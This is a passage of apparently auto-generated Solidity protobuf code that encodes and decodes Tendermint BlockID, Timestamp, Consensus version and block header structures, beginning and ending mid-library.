* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_hash(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.hash = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_part_set_header(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(PartSetHeader.Data memory x, uint256 sz) = _decode_PartSetHeader(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.part_set_header = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_PartSetHeader(uint256 p, bytes memory bs)
internal
pure
returns (PartSetHeader.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(PartSetHeader.Data memory r, ) = PartSetHeader._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
if (r.hash.length != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.hash, pointer, bs);
}
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += PartSetHeader._encode_nested(r.part_set_header, pointer, bs);
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_lendelim(r.hash.length);
e += 1 + ProtoBufRuntime._sz_lendelim(PartSetHeader._estimate(r.part_set_header));
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (r.hash.length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.hash = input.hash;
PartSetHeader.store(input.part_set_header, output.part_set_header);
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library BlockID
library Timestamp {
//struct definition
struct Data {
int64 secs;
int64 nanos;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[3] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_secs(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_nanos(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_secs(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.secs = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_nanos(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.nanos = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
if (r.secs != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_int64(r.secs, pointer, bs);
}
if (r.nanos != 0) {
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_int64(r.nanos, pointer, bs);
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_int64(r.secs);
e += 1 + ProtoBufRuntime._sz_int64(r.nanos);
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (r.secs != 0) {
return false;
}
if (r.nanos != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.secs = input.secs;
output.nanos = input.nanos;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library Timestamp
library Consensus {
//struct definition
struct Data {
uint64 height;
uint64 app;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[3] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_height(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_app(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_height(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(uint64 x, uint256 sz) = ProtoBufRuntime._decode_uint64(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.height = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_app(
uint256 p,
bytes memory bs,
Data memory r,
uint[3] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(uint64 x, uint256 sz) = ProtoBufRuntime._decode_uint64(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.app = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
if (r.height != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_uint64(r.height, pointer, bs);
}
if (r.app != 0) {
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_uint64(r.app, pointer, bs);
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_uint64(r.height);
e += 1 + ProtoBufRuntime._sz_uint64(r.app);
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (r.height != 0) {
return false;
}
if (r.app != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.height = input.height;
output.app = input.app;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library Consensus
library TmHeader {
//struct definition
struct Data {
Consensus.Data version;
string chain_id;
int64 height;
Timestamp.Data time;
BlockID.Data last_block_id;
bytes last_commit_hash;
bytes data_hash;
bytes validators_hash;
bytes next_validators_hash;
bytes consensus_hash;
bytes app_hash;
bytes last_results_hash;
bytes evidence_hash;
bytes proposer_address;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[15] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_version(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_chain_id(pointer, bs, r, counters);
}
else if (fieldId == 3) {
pointer += _read_height(pointer, bs, r, counters);
}
else if (fieldId == 4) {
pointer += _read_time(pointer, bs, r, counters);
}
else if (fieldId == 5) {
pointer += _read_last_block_id(pointer, bs, r, counters);
}
else if (fieldId == 6) {
pointer += _read_last_commit_hash(pointer, bs, r, counters);
}
else if (fieldId == 7) {
pointer += _read_data_hash(pointer, bs, r, counters);
}
else if (fieldId == 8) {
pointer += _read_validators_hash(pointer, bs, r, counters);
}
else if (fieldId == 9) {
pointer += _read_next_validators_hash(pointer, bs, r, counters);
}
else if (fieldId == 10) {
pointer += _read_consensus_hash(pointer, bs, r, counters);
}
else if (fieldId == 11) {
pointer += _read_app_hash(pointer, bs, r, counters);
}
else if (fieldId == 12) {
pointer += _read_last_results_hash(pointer, bs, r, counters);
}
else if (fieldId == 13) {
pointer += _read_evidence_hash(pointer, bs, r, counters);
}
else if (fieldId == 14) {
pointer += _read_proposer_address(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_version(
uint256 p,
bytes memory bs,
Data memory r,
uint[15] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(Consensus.Data memory x, uint256 sz) = _decode_Consensus(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.version = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_chain_id(
uint256 p,
bytes memory bs,
Data memory r,
uint[15] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(string memory x, uint256 sz) = ProtoBufRuntime._decode_string(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.chain_id = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_height(
uint256 p,
bytes memory bs,
Data memory r,
uint[15] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs);
if (isNil(r)) {
counters[3] += 1;
} else {
r.height = x;
if (counters[3] > 0) counters[3] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_time(
uint256 p,
bytes memory bs,
Data memory r,
uint[15] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(Timestamp.Data memory x, uint256 sz) = _decode_Timestamp(p, bs);
if (isNil(r)) {
counters[4] += 1;
} else {
r.time = x;
if (counters[4] > 0) counters[4] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_last_block_id(
uint256 p,
bytes memory bs,
Data memory r,
uint[15] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(BlockID.Data memory x, uint256 sz) = _decode_BlockID(p, bs);
if (isNil(r)) {
counters[5] += 1;
} else {
r.last_block_id = x;
if (counters[5] > 0) counters[5] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_last_commit_hash(
uint256 p,
bytes memory bs,
Data memory r,
uint[15] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[6] += 1;
} else {
r.last_commit_hash = x;
if (counters[6] > 0) counters[6] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_data_hash(
uint256 p,
bytes memory bs,
Data memory r,
uint[15] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[7] += 1;
} else {
r.data_hash = x;
if (counters[7] > 0) counters[7] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_validators_hash(
uint256 p,
bytes memory bs,
Data memory r,
uint[15] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[8] += 1;
} else {
r.validators_hash = x;
if (counters[8] > 0) counters[8] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_next_validators_hash(
uint256 p,
bytes memory bs,
Data memory r,
uint[15] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[9] += 1;
} else {
r.next_validators_hash = x;
if (counters[9] > 0) counters[9] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_consensus_hash(
uint256 p,
bytes memory bs,
Data memory r,
uint[15] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[10] += 1;
} else {
r.consensus_hash = x;
if (counters[10] > 0) counters[10] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_app_hash(
uint256 p,
bytes memory bs,
Data memory r,
uint[15] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[11] += 1;
} else {
r.app_hash = x;
if (counters[11] > 0) counters[11] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_last_results_hash(
uint256 p,
bytes memory bs,
Data memory r,
uint[15] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[12] += 1;
} else {
r.last_results_hash = x;
if (counters[12] > 0) counters[12] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_evidence_hash(
uint256 p,
bytes memory bs,
Data memory r,
uint[15] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[13] += 1;
} else {
r.evidence_hash = x;
if (counters[13] > 0) counters[13] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_proposer_address(
uint256 p,
bytes memory bs,
Data memory r,
uint[15] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[14] += 1;
} else {
r.proposer_address = x;
if (counters[14] > 0) counters[14] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_Consensus(uint256 p, bytes memory bs)
internal
pure
returns (Consensus.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(Consensus.Data memory r, ) = Consensus._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_Timestamp(uint256 p, bytes memory bs)
internal
pure
returns (Timestamp.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(Timestamp.Data memory r, ) = Timestamp._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_BlockID(uint256 p, bytes memory bs)
internal
pure
returns (BlockID.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(BlockID.Data memory r, ) = BlockID._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += Consensus._encode_nested(r.version, pointer, bs);
if (bytes(r.chain_id).length != 0) {
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_string(r.chain_id, pointer, bs);
}
if (r.height != 0) {
pointer += ProtoBufRuntime._encode_key(
3,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_int64(r.height, pointer, bs);
}
pointer += ProtoBufRuntime._encode_key(
4,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += Timestamp._encode_nested(r.time, pointer, bs);
pointer += ProtoBufRuntime._encode_key(
5,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
